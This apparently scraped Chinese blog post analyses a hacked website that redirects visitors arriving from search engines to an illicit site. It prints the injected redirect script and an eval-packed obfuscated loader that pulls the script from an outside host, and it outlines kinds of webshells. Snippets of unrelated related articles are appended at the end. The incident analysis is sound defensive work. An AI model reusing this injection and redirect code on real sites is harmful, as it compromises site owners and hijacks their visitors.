记一次站点被挂马问题排查

起因,在下班准备回家之际,收到几条朋友发来的信息,说他的网站在百度搜索做信息流广告推广,但是从百度搜索点击打开就会跳转的×××,让我帮忙排查下问题,是不是被挂马了,于是乎就开始了后面的故事


为了保护网站隐私,假定网站地址是:http://www.xxx.com

收到消息后我尝试操作并收集到下面现象内容:

现象1:通过域名直接打开网站,可以正常打开,不会跳转到×××站
现象2:通过百度/搜狗搜索引擎,搜索到网站后点击打开就会跳转到×××站


开始排查

  • 网站是怎么跳转的?

网站跳转无非就是这两种:服务端重定向跳转/前端JS触发跳转,我开始用Charles抓包,列出抓包请求发起顺序大概是这样的(省略无关的请求):

  1. http://www.xxx.com
  2. https://www.cpdas8.com/cxc.js
  3. https://www.das8cx.com/ [×××站]

先打开站点www.xxx.com返回Code=200,不是服务端重定向Code=302,是由前端发起跳转,并且注意到:cxc.js,请求头Referer=www.xxx.com,这个并非站点前端开发需要引入的脚本,打开地址看代码如下:


(function () {
    /*百度推送代码*/
     var bp = document.createElement(‘script‘);
     bp.src = ‘//push.zhanzhang.baidu.com/push.js‘;
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + ‘//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9‘;
     document.write(‘<script src="‘ + src + ‘" id="sozz"><\/script>‘);
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("</script>");

看代码就知道抓到了元凶,这里执行了location.href到×××站,但是看主页html源码里并没有cxc.js的引入,继续后面的排查


  • cxc.js是如何在主页里引入的?

带着这个疑问,打开了首页源码,大概过了下,没有发现引入脚本的地方,就开始怀疑是不是动态引入的,再次查看源码,看到一段被混淆加密压缩过代码:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!‘‘.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return‘\\w+‘};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(‘\\b‘+e(c)+‘\\b‘,‘g‘),k[c]);return p;}(‘l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\‘\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\‘);‘,28,28,‘x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38‘.split(‘|‘),0,{}))

感觉事蹊跷,不管三七二十一先到谷歌开发者工具控制台里执行看看,截取重要提示信息:

A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write

明了了,就是这段脚本把cxc.js动态的引入到站点里,现在跳转的原因是找到了,但是为啥会好端端的多了这段代码,继续后面的分析


  • 为什么主页源码会被篡改加入了一段脚本呢?

站点是通过阿里云服务器的虚拟空间进行部署的,服务器本身应该没有问题
目前猜测有两种可能性:

  1. FTP暴力破解,成功连接上FTP后进行篡改
  2. 站点安全漏洞,被上传了***程序后被执行,篡改了源码

后面问了下FTP密码是设置的挺简单的,所以评估可能是FTP暴力破解导致,细思极恐



番外,里面还有段篡改SEO关键词代码,这里也需要去掉:
篡改了keyword/description/title


问题总结:

通过抓包和代码分析可以知道跳转到×××站的流程是这样的:

  1. 打开首页,脚本执行了evel(混淆加密压缩),动态引入cxc.js
  2. 引入的cxc.js里执行了(function (){/ 跳转逻辑 /})(),如果站点referrer是搜索引擎过来的就跳转到×××站,不是就不做跳转直接正常打开站点
  3. 知道原理后就很清晰明白上面现象的原因,并且可以很清楚的怎么去修复

站点源码被侵入篡改问题:

  • 站点的开发需要注意WEB安全问题,文件上传漏洞,脚本注入,SQL注入,跨站***,等
  • 站点的服务器/FTP/后台账号密码,不要设置的太随意,要有一定的复杂度,不然很容易被暴力破解

常见***类型:

  • 大马

    • 大马体积比较大 一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序
  • 小马
    • 小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能
  • 一句话***
    • 一句话***属于 就一句话的脚本语句 代码少 就是一句话***属于小马

查杀工具:



辅助手段-网站安全检测:



首发博客

原文地址:http://blog.51cto.com/sflyq/2309109

时间: 2024-08-07 20:53:16

记一次站点被挂马问题排查的相关文章

记一次被劫持挂马经历--Elasticsearch的远程执行漏洞

起因: 公司使用的是Ucloud的云主机服务,今天上午突然被告知有一台服务器的出口流量激增,对外发包量短时间内达到了100万,而且都是UDP类型的,第一感觉就是:诶呀,莫不是被黑了,被当肉鸡了呀! 探究: 立马登录对应的服务器,首先使用iftop查看流量状况 可以看出出口流量好吓人,1分钟内累计700M流量,查了一下这2个IP地址,一个是在美国,一个是在浙江电信: 赶紧查看正在运行的进程,找出疑似进程,还真有所发现: [.ECC6DFE919A382]这个进程还想冒充系统进程,疑点极大,而且/t

ECMS清除挂马以及后台升级实战(从ecms6.6~ecms7.0)

当时状况 Windows Server 2008 R2 Enterprise + 帝国CMS6.6 + MySql   服务器软件: Microsoft-IIS/7.5 操作系统: WINNT PHP版本: 5.3.18 MYSQL版本: 5.0.81-community-nt 全局变量: 关闭 (建议关闭) 魔术引用: 关闭 (建议开启) 上传文件: 可以 (最大文件:2M,表单:8M) 当前时间: 2014-05-30 14:11:57 使用域名: xxxx.com 服务器被挂马,后台版本较

揭秘几种最主要的挂马技术

网页挂马是攻击者惯用的入侵手段,其影响极其恶劣.不仅让站点管理者蒙羞,而且殃及池鱼使站点的浏览者遭殃.不管是站点维护者还是个人用户,掌握.了解一定的网页挂马及其防御技术是非常必要的. 1.关于网页挂马 网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码.浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机. 2.获取Webshell 攻击者要进行网页挂马,必须要获取对站点文件的修改权限,而获取该站点Webshell是最普遍的做法.

检测网站挂马程序(Python)

系统管理员通常从svn/git中检索代码,部署站点后通常首先会生成该站点所有文件的MD5值,如果上线后网站页面内容被篡改(如挂马)等,可以比对之前生成MD5值快速查找去那些文件被更改,为了使系统管理员第一时间发现,可结合crontab或nagios等工具. 程序测试如下: # python check_change.py Usage: python check_change.py update /home/wwwroot python check_change.py check /home/ww

如何轻松防范DEDE挂马

曾经有许朋友的DEDE后台程序很容易被挂马,当然每个人都是通过一点一点积累经验,从被挂到能轻松防范,这需要一个逐渐积累的过程,任何事情都不是一蹴而就的,所以我们只要研究了方法就不会被挂马. 下面就来谈一谈具体的方法: 精简设置篇: 不需要的功能统统删除.比如不需要会员就将member文件夹删除.删除多余组件是避免被hack注射的最佳办法.将每个目录添加空的index.html,防止目录被访问. 织梦可删除目录列表:member会员功能 special专题功能 install安装程序(必删) co

网站不收录可能是受同服务器上的挂马站牵连

这段时间ytkah接手一个网站,服务器放在台湾,访问相当不稳定,上面有两三百个站点.第一反应就是把网站牵回自己的服务器,并用帝国cms重新搭建起来,模板和数据不变,鼓捣了一阵,网站重新上线了.但是一段时间后百度都还不收录,感觉有点问题.后来朋友说网站打不开,就奇怪了,ytkah用很多浏览器都能访问啊,问她用什么browser,她说是百度浏览器,并发了个截图,不看不知道,一看吓一跳: 赶紧点击“误报申诉”,地址是http://anquan.baidu.com/shadu/shadu_form.ht

用go实现web日志分析及网页挂马关键字检测

本程序主要实现网页挂马关键字检测,原理是这样的,通过定时分析用户访问的IIS web日志,对日志的里的URL进行访问,然后检索是否包含相关的关键字,有就入库,这只是go实现自动检索及入库,可以加个前端,实现加关键及报警功能 package main import (     "bufio"     "code.google.com/p/mahonia"     "fmt"     "io"     "io/iouti

如何防止网站被侵入,如何防止网站被挂马,如何防止网站被入侵?

一:挂马预防措施: 1.建议用户通过ftp来上传.维护网页,尽量不安装asp的上传程序. 2.对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序.这其中包括各种新闻发布.商城及论坛程 序,只要可以上传文件的asp都要进行身份认证! 3.asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换. 4.到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性. 5.要尽量保持程序是最新版本. 6.不要在网页上加注后台管

B/S开发框架Web安全问题及防范规范之挂马和WebShell

Web站点为什么会遭受攻击?是为了恶作剧?损害企业名誉?免费浏览收费内容?盗窃用户隐私信息?获取用户账号谋取私利?总之攻击方式层出不穷,作为B/S开发框架来说,帮助开发者做好解决安全问题也是刻不容缓的,本篇文章来告诉大家怎么防范挂马和WebShell攻击. 适用范围 Web网站 攻击原理 Webshell是攻击者在被攻击网站上植入的aspx.php.jsp程序文件,攻击者在入侵了一个web系统后,常常在将这些aspx.php.jsp木马后门文件放置在web服务器的web目录中,与正常的网站文件混